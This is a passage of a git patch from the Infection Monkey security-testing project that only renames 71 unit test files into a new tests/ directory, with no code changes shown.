"$PYTHON_APPIMAGE" "$PYTHON_APPIMAGE_URL" chmod u+x "$PYTHON_APPIMAGE" From fa21336ff259696ac78110f3f8631853ae54c87d Mon Sep 17 00:00:00 2001 From: Shreya Date: Fri, 16 Apr 2021 12:53:51 +0530 Subject: [PATCH 0235/1360] Move all unit test files to a separate directory --- monkey/{ => tests}/common/cloud/aws/test_aws_instance.py | 0 monkey/{ => tests}/common/cloud/aws/test_aws_service.py | 0 monkey/{ => tests}/common/cloud/azure/test_azure_instance.py | 0 monkey/{ => tests}/common/cloud/gcp/test_gcp_instance.py | 0 monkey/{ => tests}/common/network/test_network_utils.py | 0 monkey/{ => tests}/common/network/test_segmentation_utils.py | 0 monkey/{ => tests}/common/utils/test_shellcode_obfuscator.py | 0 .../{ => tests}/infection_monkey/exploit/tests/test_zerologon.py | 0 .../exploit/tests/zerologon_utils/test_vuln_assessment.py | 0 monkey/{ => tests}/infection_monkey/exploit/tools/test_helpers.py | 0 monkey/{ => tests}/infection_monkey/exploit/tools/test_payload.py | 0 .../infection_monkey/model/test_victim_host_generator.py | 0 .../infection_monkey/network/test_postgresql_finger.py | 0 .../post_breach/tests/actions/test_users_custom_pba.py | 0 .../system_info/windows_cred_collector/test_pypykatz_handler.py | 0 .../infection_monkey/telemetry/tests/attack/test_attack_telem.py | 0 .../infection_monkey/telemetry/tests/attack/test_t1005_telem.py | 0 .../infection_monkey/telemetry/tests/attack/test_t1035_telem.py | 0 .../infection_monkey/telemetry/tests/attack/test_t1064_telem.py | 0 .../infection_monkey/telemetry/tests/attack/test_t1105_telem.py | 0 .../infection_monkey/telemetry/tests/attack/test_t1106_telem.py | 0 .../infection_monkey/telemetry/tests/attack/test_t1107_telem.py | 0 .../infection_monkey/telemetry/tests/attack/test_t1129_telem.py | 0 .../infection_monkey/telemetry/tests/attack/test_t1197_telem.py | 0 .../infection_monkey/telemetry/tests/attack/test_t1222_telem.py | 0 .../infection_monkey/telemetry/tests/attack/test_usage_telem.py | 0 .../telemetry/tests/attack/test_victim_host_telem.py | 0 .../infection_monkey/telemetry/tests/test_exploit_telem.py | 0 .../infection_monkey/telemetry/tests/test_post_breach_telem.py | 0 .../infection_monkey/telemetry/tests/test_scan_telem.py | 0 .../infection_monkey/telemetry/tests/test_state_telem.py | 0 .../infection_monkey/telemetry/tests/test_system_info_telem.py | 0 .../infection_monkey/telemetry/tests/test_trace_telem.py | 0 .../infection_monkey/telemetry/tests/test_tunnel_telem.py | 0 monkey/{ => tests}/infection_monkey/utils/linux/test_users.py | 0 monkey/{ => tests}/infection_monkey/utils/plugins/test_plugin.py | 0 .../infection_monkey/utils/test_auto_new_user_factory.py | 0 .../{ => tests}/monkey_island/cc/environment/test_environment.py | 0 .../monkey_island/cc/environment/test_environment_config.py | 0 .../{ => tests}/monkey_island/cc/environment/test_user_creds.py | 0 monkey/{ => tests}/monkey_island/cc/models/test_monkey.py | 0 monkey/{ => tests}/monkey_island/cc/models/test_telem.py | 0 .../{ => tests}/monkey_island/cc/models/zero_trust/test_event.py | 0 .../monkey_island/cc/models/zero_trust/test_monkey_finding.py | 0 .../monkey_island/cc/models/zero_trust/test_scoutsuite_finding.py | 0 monkey/{ => tests}/monkey_island/cc/resources/test_bootloader.py | 0 .../monkey_island/cc/server_utils/test_island_logger.py | 0 .../monkey_island/cc/services/attack/test_mitre_api_interface.py | 0 .../monkey_island/cc/services/edge/test_displayed_edge_service.py | 0 .../monkey_island/cc/services/edge/test_edge_service.py | 0 .../monkey_island/cc/services/reporting/test_report.py | 0 .../test_environment_telemetry_processing.py | 0 .../test_system_info_telemetry_dispatcher.py | 0 .../cc/services/telemetry/processing/test_post_breach.py | 0 .../telemetry/zero_trust_checks/test_segmentation_checks.py | 0 .../monkey_island/cc/services/test_bootloader_service.py | 0 .../{ => tests}/monkey_island/cc/services/test_representations.py | 0 .../monkey_island/cc/services/tests/reporting/test_report.py | 0 monkey/{ => tests}/monkey_island/cc/services/tests/test_config.py | 0 .../monkey_island/cc/services/utils/test_node_states.py | 0 .../zero_trust/monkey_findings/test_monkey_zt_details_service.py | 0 .../zero_trust/monkey_findings/test_monkey_zt_finding_service.py | 0 .../zero_trust/scoutsuite/data_parsing/test_rule_parser.py | 0 .../zero_trust/scoutsuite/test_scoutsuite_auth_service.py | 0 .../zero_trust/scoutsuite/test_scoutsuite_rule_service.py | 0 .../zero_trust/scoutsuite/test_scoutsuite_zt_finding_service.py | 0 .../services/zero_trust/zero_trust_report/test_finding_service.py | 0 .../services/zero_trust/zero_trust_report/test_pillar_service.py | 0 .../zero_trust/zero_trust_report/test_principle_service.py | 0 monkey/{ => tests}/monkey_island/cc/test_consts.py | 0 monkey/{ => tests}/monkey_island/cc/test_encryptor.py | 0 71 files changed, 0 insertions(+), 0 deletions(-) rename monkey/{ => tests}/common/cloud/aws/test_aws_instance.py (100%) rename monkey/{ => tests}/common/cloud/aws/test_aws_service.py (100%) rename monkey/{ => tests}/common/cloud/azure/test_azure_instance.py (100%) rename monkey/{ => tests}/common/cloud/gcp/test_gcp_instance.py (100%) rename monkey/{ => tests}/common/network/test_network_utils.py (100%) rename monkey/{ => tests}/common/network/test_segmentation_utils.py (100%) rename monkey/{ => tests}/common/utils/test_shellcode_obfuscator.py (100%) rename monkey/{ => tests}/infection_monkey/exploit/tests/test_zerologon.py (100%) rename monkey/{ => tests}/infection_monkey/exploit/tests/zerologon_utils/test_vuln_assessment.py (100%) rename monkey/{ => tests}/infection_monkey/exploit/tools/test_helpers.py (100%) rename monkey/{ => tests}/infection_monkey/exploit/tools/test_payload.py (100%) rename monkey/{ => tests}/infection_monkey/model/test_victim_host_generator.py (100%) rename monkey/{ => tests}/infection_monkey/network/test_postgresql_finger.py (100%) rename monkey/{ => tests}/infection_monkey/post_breach/tests/actions/test_users_custom_pba.py (100%) rename monkey/{ => tests}/infection_monkey/system_info/windows_cred_collector/test_pypykatz_handler.py (100%) rename monkey/{ => tests}/infection_monkey/telemetry/tests/attack/test_attack_telem.py (100%) rename monkey/{ => tests}/infection_monkey/telemetry/tests/attack/test_t1005_telem.py (100%) rename monkey/{ => tests}/infection_monkey/telemetry/tests/attack/test_t1035_telem.py (100%) rename monkey/{ => tests}/infection_monkey/telemetry/tests/attack/test_t1064_telem.py (100%) rename monkey/{ => tests}/infection_monkey/telemetry/tests/attack/test_t1105_telem.py (100%) rename monkey/{ => tests}/infection_monkey/telemetry/tests/attack/test_t1106_telem.py (100%) rename monkey/{ => tests}/infection_monkey/telemetry/tests/attack/test_t1107_telem.py (100%) rename monkey/{ => tests}/infection_monkey/telemetry/tests/attack/test_t1129_telem.py (100%) rename monkey/{ => tests}/infection_monkey/telemetry/tests/attack/test_t1197_telem.py (100%) rename monkey/{ => tests}/infection_monkey/telemetry/tests/attack/test_t1222_telem.py (100%) rename monkey/{ => tests}/infection_monkey/telemetry/tests/attack/test_usage_telem.py (100%) rename monkey/{ => tests}/infection_monkey/telemetry/tests/attack/test_victim_host_telem.py (100%) rename monkey/{ => tests}/infection_monkey/telemetry/tests/test_exploit_telem.py (100%) rename monkey/{ => tests}/infection_monkey/telemetry/tests/test_post_breach_telem.py (100%) rename monkey/{ => tests}/infection_monkey/telemetry/tests/test_scan_telem.py (100%) rename monkey/{ => tests}/infection_monkey/telemetry/tests/test_state_telem.py (100%) rename monkey/{ => tests}/infection_monkey/telemetry/tests/test_system_info_telem.py (100%) rename monkey/{ => tests}/infection_monkey/telemetry/tests/test_trace_telem.py (100%) rename monkey/{ => tests}/infection_monkey/telemetry/tests/test_tunnel_telem.py (100%) rename monkey/{ => tests}/infection_monkey/utils/linux/test_users.py (100%) rename monkey/{ => tests}/infection_monkey/utils/plugins/test_plugin.py (100%) rename monkey/{ => tests}/infection_monkey/utils/test_auto_new_user_factory.py (100%) rename monkey/{ => tests}/monkey_island/cc/environment/test_environment.py (100%) rename monkey/{ => tests}/monkey_island/cc/environment/test_environment_config.py (100%) rename monkey/{ => tests}/monkey_island/cc/environment/test_user_creds.py (100%) rename monkey/{ => tests}/monkey_island/cc/models/test_monkey.py (100%) rename monkey/{ => tests}/monkey_island/cc/models/test_telem.py (100%) rename monkey/{ => tests}/monkey_island/cc/models/zero_trust/test_event.py (100%) rename monkey/{ => tests}/monkey_island/cc/models/zero_trust/test_monkey_finding.py (100%) rename monkey/{ => tests}/monkey_island/cc/models/zero_trust/test_scoutsuite_finding.py (100%) rename monkey/{ => tests}/monkey_island/cc/resources/test_bootloader.py (100%) rename monkey/{ => tests}/monkey_island/cc/server_utils/test_island_logger.py (100%) rename monkey/{ => tests}/monkey_island/cc/services/attack/test_mitre_api_interface.py (100%) rename monkey/{ => tests}/monkey_island/cc/services/edge/test_displayed_edge_service.py (100%) rename monkey/{ => tests}/monkey_island/cc/services/edge/test_edge_service.py (100%) rename monkey/{ => tests}/monkey_island/cc/services/reporting/test_report.py (100%) rename monkey/{ => tests}/monkey_island/cc/services/telemetry/processing/system_info_collectors/test_environment_telemetry_processing.py (100%) rename monkey/{ => tests}/monkey_island/cc/services/telemetry/processing/system_info_collectors/test_system_info_telemetry_dispatcher.py (100%) rename monkey/{ => tests}/monkey_island/cc/services/telemetry/processing/test_post_breach.py (100%) rename monkey/{ => tests}/monkey_island/cc/services/telemetry/zero_trust_checks/test_segmentation_checks.py (100%) rename monkey/{ => tests}/monkey_island/cc/services/test_bootloader_service.py (100%) rename monkey/{ => tests}/monkey_island/cc/services/test_representations.py (100%) rename monkey/{ => tests}/monkey_island/cc/services/tests/reporting/test_report.py (100%) rename monkey/{ => tests}/monkey_island/cc/services/tests/test_config.py (100%) rename monkey/{ => tests}/monkey_island/cc/services/utils/test_node_states.py (100%) rename monkey/{ => tests}/monkey_island/cc/services/zero_trust/monkey_findings/test_monkey_zt_details_service.py (100%) rename monkey/{ => tests}/monkey_island/cc/services/zero_trust/monkey_findings/test_monkey_zt_finding_service.py (100%) rename monkey/{ => tests}/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/test_rule_parser.py (100%) rename monkey/{ => tests}/monkey_island/cc/services/zero_trust/scoutsuite/test_scoutsuite_auth_service.py (100%) rename monkey/{ => tests}/monkey_island/cc/services/zero_trust/scoutsuite/test_scoutsuite_rule_service.py (100%) rename monkey/{ => tests}/monkey_island/cc/services/zero_trust/scoutsuite/test_scoutsuite_zt_finding_service.py (100%) rename monkey/{ => tests}/monkey_island/cc/services/zero_trust/zero_trust_report/test_finding_service.py (100%) rename monkey/{ => tests}/monkey_island/cc/services/zero_trust/zero_trust_report/test_pillar_service.py (100%) rename monkey/{ => tests}/monkey_island/cc/services/zero_trust/zero_trust_report/test_principle_service.py (100%) rename monkey/{ => tests}/monkey_island/cc/test_consts.py (100%) rename monkey/{ => tests}/monkey_island/cc/test_encryptor.py (100%) diff --git a/monkey/common/cloud/aws/test_aws_instance.py b/monkey/tests/common/cloud/aws/test_aws_instance.py similarity index 100% rename from monkey/common/cloud/aws/test_aws_instance.py rename to monkey/tests/common/cloud/aws/test_aws_instance.py diff --git a/monkey/common/cloud/aws/test_aws_service.py b/monkey/tests/common/cloud/aws/test_aws_service.py similarity index 100% rename from monkey/common/cloud/aws/test_aws_service.py rename to monkey/tests/common/cloud/aws/test_aws_service.py diff --git a/monkey/common/cloud/azure/test_azure_instance.py b/monkey/tests/common/cloud/azure/test_azure_instance.py similarity index 100% rename from monkey/common/cloud/azure/test_azure_instance.py rename to monkey/tests/common/cloud/azure/test_azure_instance.py diff --git a/monkey/common/cloud/gcp/test_gcp_instance.py b/monkey/tests/common/cloud/gcp/test_gcp_instance.py similarity index 100% rename from monkey/common/cloud/gcp/test_gcp_instance.py rename to monkey/tests/common/cloud/gcp/test_gcp_instance.py diff --git a/monkey/common/network/test_network_utils.py b/monkey/tests/common/network/test_network_utils.py similarity index 100% rename from monkey/common/network/test_network_utils.py rename to monkey/tests/common/network/test_network_utils.py diff --git a/monkey/common/network/test_segmentation_utils.py b/monkey/tests/common/network/test_segmentation_utils.py similarity index 100% rename from monkey/common/network/test_segmentation_utils.py rename to monkey/tests/common/network/test_segmentation_utils.py diff --git a/monkey/common/utils/test_shellcode_obfuscator.py b/monkey/tests/common/utils/test_shellcode_obfuscator.py similarity index 100% rename from monkey/common/utils/test_shellcode_obfuscator.py rename to monkey/tests/common/utils/test_shellcode_obfuscator.py diff --git a/monkey/infection_monkey/exploit/tests/test_zerologon.py b/monkey/tests/infection_monkey/exploit/tests/test_zerologon.py similarity index 100% rename from monkey/infection_monkey/exploit/tests/test_zerologon.py rename to monkey/tests/infection_monkey/exploit/tests/test_zerologon.py diff --git a/monkey/infection_monkey/exploit/tests/zerologon_utils/test_vuln_assessment.py b/monkey/tests/infection_monkey/exploit/tests/zerologon_utils/test_vuln_assessment.py similarity index 100% rename from monkey/infection_monkey/exploit/tests/zerologon_utils/test_vuln_assessment.py rename to monkey/tests/infection_monkey/exploit/tests/zerologon_utils/test_vuln_assessment.py diff --git a/monkey/infection_monkey/exploit/tools/test_helpers.py b/monkey/tests/infection_monkey/exploit/tools/test_helpers.py similarity index 100% rename from monkey/infection_monkey/exploit/tools/test_helpers.py rename to monkey/tests/infection_monkey/exploit/tools/test_helpers.py diff --git a/monkey/infection_monkey/exploit/tools/test_payload.py b/monkey/tests/infection_monkey/exploit/tools/test_payload.py similarity index 100% rename from monkey/infection_monkey/exploit/tools/test_payload.py rename to monkey/tests/infection_monkey/exploit/tools/test_payload.py diff --git a/monkey/infection_monkey/model/test_victim_host_generator.py b/monkey/tests/infection_monkey/model/test_victim_host_generator.py similarity index 100% rename from monkey/infection_monkey/model/test_victim_host_generator.py rename to monkey/tests/infection_monkey/model/test_victim_host_generator.py diff --git a/monkey/infection_monkey/network/test_postgresql_finger.py b/monkey/tests/infection_monkey/network/test_postgresql_finger.py similarity index 100% rename from monkey/infection_monkey/network/test_postgresql_finger.py rename to monkey/tests/infection_monkey/network/test_postgresql_finger.py diff --git a/monkey/infection_monkey/post_breach/tests/actions/test_users_custom_pba.py b/monkey/tests/infection_monkey/post_breach/tests/actions/test_users_custom_pba.py similarity index 100% rename from monkey/infection_monkey/post_breach/tests/actions/test_users_custom_pba.py rename to monkey/tests/infection_monkey/post_breach/tests/actions/test_users_custom_pba.py diff --git a/monkey/infection_monkey/system_info/windows_cred_collector/test_pypykatz_handler.py b/monkey/tests/infection_monkey/system_info/windows_cred_collector/test_pypykatz_handler.py similarity index 100% rename from monkey/infection_monkey/system_info/windows_cred_collector/test_pypykatz_handler.py rename to monkey/tests/infection_monkey/system_info/windows_cred_collector/test_pypykatz_handler.py diff --git a/monkey/infection_monkey/telemetry/tests/attack/test_attack_telem.py b/monkey/tests/infection_monkey/telemetry/tests/attack/test_attack_telem.py similarity index 100% rename from monkey/infection_monkey/telemetry/tests/attack/test_attack_telem.py rename to monkey/tests/infection_monkey/telemetry/tests/attack/test_attack_telem.py diff --git a/monkey/infection_monkey/telemetry/tests/attack/test_t1005_telem.py b/monkey/tests/infection_monkey/telemetry/tests/attack/test_t1005_telem.py similarity index 100% rename from monkey/infection_monkey/telemetry/tests/attack/test_t1005_telem.py rename to monkey/tests/infection_monkey/telemetry/tests/attack/test_t1005_telem.py diff --git a/monkey/infection_monkey/telemetry/tests/attack/test_t1035_telem.py b/monkey/tests/infection_monkey/telemetry/tests/attack/test_t1035_telem.py similarity index 100% rename from monkey/infection_monkey/telemetry/tests/attack/test_t1035_telem.py rename to monkey/tests/infection_monkey/telemetry/tests/attack/test_t1035_telem.py diff --git a/monkey/infection_monkey/telemetry/tests/attack/test_t1064_telem.py b/monkey/tests/infection_monkey/telemetry/tests/attack/test_t1064_telem.py similarity index 100% rename from monkey/infection_monkey/telemetry/tests/attack/test_t1064_telem.py rename to monkey/tests/infection_monkey/telemetry/tests/attack/test_t1064_telem.py diff --git a/monkey/infection_monkey/telemetry/tests/attack/test_t1105_telem.py b/monkey/tests/infection_monkey/telemetry/tests/attack/test_t1105_telem.py similarity index 100% rename from monkey/infection_monkey/telemetry/tests/attack/test_t1105_telem.py rename to monkey/tests/infection_monkey/telemetry/tests/attack/test_t1105_telem.py diff --git a/monkey/infection_monkey/telemetry/tests/attack/test_t1106_telem.py b/monkey/tests/infection_monkey/telemetry/tests/attack/test_t1106_telem.py similarity index 100% rename from monkey/infection_monkey/telemetry/tests/attack/test_t1106_telem.py rename to monkey/tests/infection_monkey/telemetry/tests/attack/test_t1106_telem.py diff --git a/monkey/infection_monkey/telemetry/tests/attack/test_t1107_telem.py b/monkey/tests/infection_monkey/telemetry/tests/attack/test_t1107_telem.py similarity index 100% rename from monkey/infection_monkey/telemetry/tests/attack/test_t1107_telem.py rename to monkey/tests/infection_monkey/telemetry/tests/attack/test_t1107_telem.py diff --git a/monkey/infection_monkey/telemetry/tests/attack/test_t1129_telem.py b/monkey/tests/infection_monkey/telemetry/tests/attack/test_t1129_telem.py similarity index 100% rename from monkey/infection_monkey/telemetry/tests/attack/test_t1129_telem.py rename to monkey/tests/infection_monkey/telemetry/tests/attack/test_t1129_telem.py diff --git a/monkey/infection_monkey/telemetry/tests/attack/test_t1197_telem.py b/monkey/tests/infection_monkey/telemetry/tests/attack/test_t1197_telem.py similarity index 100% rename from monkey/infection_monkey/telemetry/tests/attack/test_t1197_telem.py rename to monkey/tests/infection_monkey/telemetry/tests/attack/test_t1197_telem.py diff --git a/monkey/infection_monkey/telemetry/tests/attack/test_t1222_telem.py b/monkey/tests/infection_monkey/telemetry/tests/attack/test_t1222_telem.py similarity index 100% rename from monkey/infection_monkey/telemetry/tests/attack/test_t1222_telem.py rename to monkey/tests/infection_monkey/telemetry/tests/attack/test_t1222_telem.py diff --git a/monkey/infection_monkey/telemetry/tests/attack/test_usage_telem.py b/monkey/tests/infection_monkey/telemetry/tests/attack/test_usage_telem.py similarity index 100% rename from monkey/infection_monkey/telemetry/tests/attack/test_usage_telem.py rename to monkey/tests/infection_monkey/telemetry/tests/attack/test_usage_telem.py diff --git a/monkey/infection_monkey/telemetry/tests/attack/test_victim_host_telem.py b/monkey/tests/infection_monkey/telemetry/tests/attack/test_victim_host_telem.py similarity index 100% rename from monkey/infection_monkey/telemetry/tests/attack/test_victim_host_telem.py rename to monkey/tests/infection_monkey/telemetry/tests/attack/test_victim_host_telem.py diff --git a/monkey/infection_monkey/telemetry/tests/test_exploit_telem.py b/monkey/tests/infection_monkey/telemetry/tests/test_exploit_telem.py similarity index 100% rename from monkey/infection_monkey/telemetry/tests/test_exploit_telem.py rename to monkey/tests/infection_monkey/telemetry/tests/test_exploit_telem.py diff --git a/monkey/infection_monkey/telemetry/tests/test_post_breach_telem.py b/monkey/tests/infection_monkey/telemetry/tests/test_post_breach_telem.py similarity index 100% rename from monkey/infection_monkey/telemetry/tests/test_post_breach_telem.py rename to monkey/tests/infection_monkey/telemetry/tests/test_post_breach_telem.py diff --git a/monkey/infection_monkey/telemetry/tests/test_scan_telem.py b/monkey/tests/infection_monkey/telemetry/tests/test_scan_telem.py similarity index 100% rename from monkey/infection_monkey/telemetry/tests/test_scan_telem.py rename to monkey/tests/infection_monkey/telemetry/tests/test_scan_telem.py diff --git a/monkey/infection_monkey/telemetry/tests/test_state_telem.py b/monkey/tests/infection_monkey/telemetry/tests/test_state_telem.py similarity index 100% rename from monkey/infection_monkey/telemetry/tests/test_state_telem.py rename to monkey/tests/infection_monkey/telemetry/tests/test_state_telem.py diff --git a/monkey/infection_monkey/telemetry/tests/test_system_info_telem.py b/monkey/tests/infection_monkey/telemetry/tests/test_system_info_telem.py similarity index 100% rename from monkey/infection_monkey/telemetry/tests/test_system_info_telem.py rename to monkey/tests/infection_monkey/telemetry/tests/test_system_info_telem.py diff --git a/monkey/infection_monkey/telemetry/tests/test_trace_telem.py b/monkey/tests/infection_monkey/telemetry/tests/test_trace_telem.py similarity index 100% rename from monkey/infection_monkey/telemetry/tests/test_trace_telem.py rename to monkey/tests/infection_monkey/telemetry/tests/test_trace_telem.py diff --git a/monkey/infection_monkey/telemetry/tests/test_tunnel_telem.py b/monkey/tests/infection_monkey/telemetry/tests/test_tunnel_telem.py similarity index 100% rename from monkey/infection_monkey/telemetry/tests/test_tunnel_telem.py rename to monkey/tests/infection_monkey/telemetry/tests/test_tunnel_telem.py diff --git a/monkey/infection_monkey/utils/linux/test_users.py b/monkey/tests/infection_monkey/utils/linux/test_users.py similarity index 100% rename from monkey/infection_monkey/utils/linux/test_users.py rename to monkey/tests/infection_monkey/utils/linux/test_users.py diff --git a/monkey/infection_monkey/utils/plugins/test_plugin.py b/monkey/tests/infection_monkey/utils/plugins/test_plugin.py similarity index 100% rename from monkey/infection_monkey/utils/plugins/test_plugin.py rename to monkey/tests/infection_monkey/utils/plugins/test_plugin.py diff --git a/monkey/infection_monkey/utils/test_auto_new_user_factory.py b/monkey/tests/infection_monkey/utils/test_auto_new_user_factory.py similarity index 100% rename from monkey/infection_monkey/utils/test_auto_new_user_factory.py rename to monkey/tests/infection_monkey/utils/test_auto_new_user_factory.py diff --git a/monkey/monkey_island/cc/environment/test_environment.py b/monkey/tests/monkey_island/cc/environment/test_environment.py similarity index 100% rename from monkey/monkey_island/cc/environment/test_environment.py rename to monkey/tests/monkey_island/cc/environment/test_environment.py diff --git a/monkey/monkey_island/cc/environment/test_environment_config.py b/monkey/tests/monkey_island/cc/environment/test_environment_config.py similarity index 100% rename from monkey/monkey_island/cc/environment/test_environment_config.py rename to monkey/tests/monkey_island/cc/environment/test_environment_config.py diff --git a/monkey/monkey_island/cc/environment/test_user_creds.py b/monkey/tests/monkey_island/cc/environment/test_user_creds.py similarity index 100% rename from monkey/monkey_island/cc/environment/test_user_creds.py rename to monkey/tests/monkey_island/cc/environment/test_user_creds.py diff --git a/monkey/monkey_island/cc/models/test_monkey.py b/monkey/tests/monkey_island/cc/models/test_monkey.py similarity index 100% rename from monkey/monkey_island/cc/models/test_monkey.py rename to monkey/tests/monkey_island/cc/models/test_monkey.py diff --git a/monkey/monkey_island/cc/models/test_telem.py b/monkey/tests/monkey_island/cc/models/test_telem.py similarity index 100% rename from monkey/monkey_island/cc/models/test_telem.py rename to monkey/tests/monkey_island/cc/models/test_telem.py diff --git a/monkey/monkey_island/cc/models/zero_trust/test_event.py b/monkey/tests/monkey_island/cc/models/zero_trust/test_event.py similarity index 100% rename from monkey/monkey_island/cc/models/zero_trust/test_event.py rename to monkey/tests/monkey_island/cc/models/zero_trust/test_event.py diff --git a/monkey/monkey_island/cc/models/zero_trust/test_monkey_finding.py b/monkey/tests/monkey_island/cc/models/zero_trust/test_monkey_finding.py similarity index 100% rename from monkey/monkey_island/cc/models/zero_trust/test_monkey_finding.py rename to monkey/tests/monkey_island/cc/models/zero_trust/test_monkey_finding.py diff --git a/monkey/monkey_island/cc/models/zero_trust/test_scoutsuite_finding.py b/monkey/tests/monkey_island/cc/models/zero_trust/test_scoutsuite_finding.py similarity index 100% rename from monkey/monkey_island/cc/models/zero_trust/test_scoutsuite_finding.py rename to monkey/tests/monkey_island/cc/models/zero_trust/test_scoutsuite_finding.py diff --git a/monkey/monkey_island/cc/resources/test_bootloader.py b/monkey/tests/monkey_island/cc/resources/test_bootloader.py similarity index 100% rename from monkey/monkey_island/cc/resources/test_bootloader.py rename to monkey/tests/monkey_island/cc/resources/test_bootloader.py diff --git a/monkey/monkey_island/cc/server_utils/test_island_logger.py b/monkey/tests/monkey_island/cc/server_utils/test_island_logger.py similarity index 100% rename from monkey/monkey_island/cc/server_utils/test_island_logger.py rename to monkey/tests/monkey_island/cc/server_utils/test_island_logger.py diff --git a/monkey/monkey_island/cc/services/attack/test_mitre_api_interface.py b/monkey/tests/monkey_island/cc/services/attack/test_mitre_api_interface.py similarity index 100% rename from monkey/monkey_island/cc/services/attack/test_mitre_api_interface.py rename to monkey/tests/monkey_island/cc/services/attack/test_mitre_api_interface.py diff --git a/monkey/monkey_island/cc/services/edge/test_displayed_edge_service.py b/monkey/tests/monkey_island/cc/services/edge/test_displayed_edge_service.py similarity index 100% rename from monkey/monkey_island/cc/services/edge/test_displayed_edge_service.py rename to monkey/tests/monkey_island/cc/services/edge/test_displayed_edge_service.py diff --git a/monkey/monkey_island/cc/services/edge/test_edge_service.py b/monkey/tests/monkey_island/cc/services/edge/test_edge_service.py similarity index 100% rename from monkey/monkey_island/cc/services/edge/test_edge_service.py rename to monkey/tests/monkey_island/cc/services/edge/test_edge_service.py diff --git a/monkey/monkey_island/cc/services/reporting/test_report.py b/monkey/tests/monkey_island/cc/services/reporting/test_report.py similarity index 100% rename from monkey/monkey_island/cc/services/reporting/test_report.py rename to monkey/tests/monkey_island/cc/services/reporting/test_report.py diff --git a/monkey/monkey_island/cc/services/telemetry/processing/system_info_collectors/test_environment_telemetry_processing.py b/monkey/tests/monkey_island/cc/services/telemetry/processing/system_info_collectors/test_environment_telemetry_processing.py similarity index 100% rename from monkey/monkey_island/cc/services/telemetry/processing/system_info_collectors/test_environment_telemetry_processing.py rename to monkey/tests/monkey_island/cc/services/telemetry/processing/system_info_collectors/test_environment_telemetry_processing.py diff --git a/monkey/monkey_island/cc/services/telemetry/processing/system_info_collectors/test_system_info_telemetry_dispatcher.py b/monkey/tests/monkey_island/cc/services/telemetry/processing/system_info_collectors/test_system_info_telemetry_dispatcher.py similarity index 100% rename from monkey/monkey_island/cc/services/telemetry/processing/system_info_collectors/test_system_info_telemetry_dispatcher.py rename to monkey/tests/monkey_island/cc/services/telemetry/processing/system_info_collectors/test_system_info_telemetry_dispatcher.py diff --git a/monkey/monkey_island/cc/services/telemetry/processing/test_post_breach.py b/monkey/tests/monkey_island/cc/services/telemetry/processing/test_post_breach.py similarity index 100% rename from monkey/monkey_island/cc/services/telemetry/processing/test_post_breach.py rename to monkey/tests/monkey_island/cc/services/telemetry/processing/test_post_breach.py diff --git a/monkey/monkey_island/cc/services/telemetry/zero_trust_checks/test_segmentation_checks.py b/monkey/tests/monkey_island/cc/services/telemetry/zero_trust_checks/test_segmentation_checks.py similarity index 100% rename from monkey/monkey_island/cc/services/telemetry/zero_trust_checks/test_segmentation_checks.py rename to monkey/tests/monkey_island/cc/services/telemetry/zero_trust_checks/test_segmentation_checks.py diff --git a/monkey/monkey_island/cc/services/test_bootloader_service.py b/monkey/tests/monkey_island/cc/services/test_bootloader_service.py similarity index 100% rename from monkey/monkey_island/cc/services/test_bootloader_service.py rename to monkey/tests/monkey_island/cc/services/test_bootloader_service.py diff --git a/monkey/monkey_island/cc/services/test_representations.py b/monkey/tests/monkey_island/cc/services/test_representations.py similarity index 100% rename from monkey/monkey_island/cc/services/test_representations.py rename to monkey/tests/monkey_island/cc/services/test_representations.py diff --git a/monkey/monkey_island/cc/services/tests/reporting/test_report.py b/monkey/tests/monkey_island/cc/services/tests/reporting/test_report.py similarity index 100% rename from monkey/monkey_island/cc/services/tests/reporting/test_report.py rename to monkey/tests/monkey_island/cc/services/tests/reporting/test_report.py diff --git a/monkey/monkey_island/cc/services/tests/test_config.py b/monkey/tests/monkey_island/cc/services/tests/test_config.py similarity index 100% rename from monkey/monkey_island/cc/services/tests/test_config.py rename to monkey/tests/monkey_island/cc/services/tests/test_config.py diff --git a/monkey/monkey_island/cc/services/utils/test_node_states.py b/monkey/tests/monkey_island/cc/services/utils/test_node_states.py similarity index 100% rename from monkey/monkey_island/cc/services/utils/test_node_states.py rename to monkey/tests/monkey_island/cc/services/utils/test_node_states.py diff --git a/monkey/monkey_island/cc/services/zero_trust/monkey_findings/test_monkey_zt_details_service.py b/monkey/tests/monkey_island/cc/services/zero_trust/monkey_findings/test_monkey_zt_details_service.py similarity index 100% rename from monkey/monkey_island/cc/services/zero_trust/monkey_findings/test_monkey_zt_details_service.py rename to monkey/tests/monkey_island/cc/services/zero_trust/monkey_findings/test_monkey_zt_details_service.py diff --git a/monkey/monkey_island/cc/services/zero_trust/monkey_findings/test_monkey_zt_finding_service.py b/monkey/tests/monkey_island/cc/services/zero_trust/monkey_findings/test_monkey_zt_finding_service.py similarity index 100% rename from monkey/monkey_island/cc/services/zero_trust/monkey_findings/test_monkey_zt_finding_service.py rename to monkey/tests/monkey_island/cc/services/zero_trust/monkey_findings/test_monkey_zt_finding_service.py diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/test_rule_parser.py b/monkey/tests/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/test_rule_parser.py similarity index 100% rename from monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/test_rule_parser.py rename to monkey/tests/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/test_rule_parser.py diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/test_scoutsuite_auth_service.py b/monkey/tests/monkey_island/cc/services/zero_trust/scoutsuite/test_scoutsuite_auth_service.py similarity index 100% rename from monkey/monkey_island/cc/services/zero_trust/scoutsuite/test_scoutsuite_auth_service.py rename to monkey/tests/monkey_island/cc/services/zero_trust/scoutsuite/test_scoutsuite_auth_service.py diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/test_scoutsuite_rule_service.py b/monkey/tests/monkey_island/cc/services/zero_trust/scoutsuite/test_scoutsuite_rule_service.py similarity index 100% rename from monkey/monkey_island/cc/services/zero_trust/scoutsuite/test_scoutsuite_rule_service.py rename to monkey/tests/monkey_island/cc/services/zero_trust/scoutsuite/test_scoutsuite_rule_service.py diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/test_scoutsuite_zt_finding_service.py b/monkey/tests/monkey_island/cc/services/zero_trust/scoutsuite/test_scoutsuite_zt_finding_service.py similarity index 100% rename from monkey/monkey_island/cc/services/zero_trust/scoutsuite/test_scoutsuite_zt_finding_service.py rename to monkey/tests/monkey_island/cc/services/zero_trust/scoutsuite/test_scoutsuite_zt_finding_service.py diff 